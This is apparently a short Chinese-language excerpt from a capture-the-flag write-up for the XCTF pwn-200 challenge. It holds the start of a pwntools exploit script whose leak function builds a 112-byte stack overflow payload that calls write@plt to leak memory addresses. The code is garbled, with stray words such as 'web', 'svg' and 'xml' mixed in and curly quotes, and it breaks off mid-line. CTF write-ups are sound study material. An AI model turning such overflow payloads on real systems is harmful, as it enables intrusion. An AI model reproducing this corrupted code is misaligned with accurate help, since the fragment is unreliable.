XCTF PWN高手進階區之pwn-200

此題，setbuf未發現有什麼做用！ exp:web from pwn import *svg sub_addr=0x8048484 def leak(addr): payload=‘a’*112+p32(write_plt)+p32(sub_addr)+p32(1)+p32(addr)+p32(4) p.sendline(payload) return p.recv()[:4]xml p=pro

>>阅读原文<<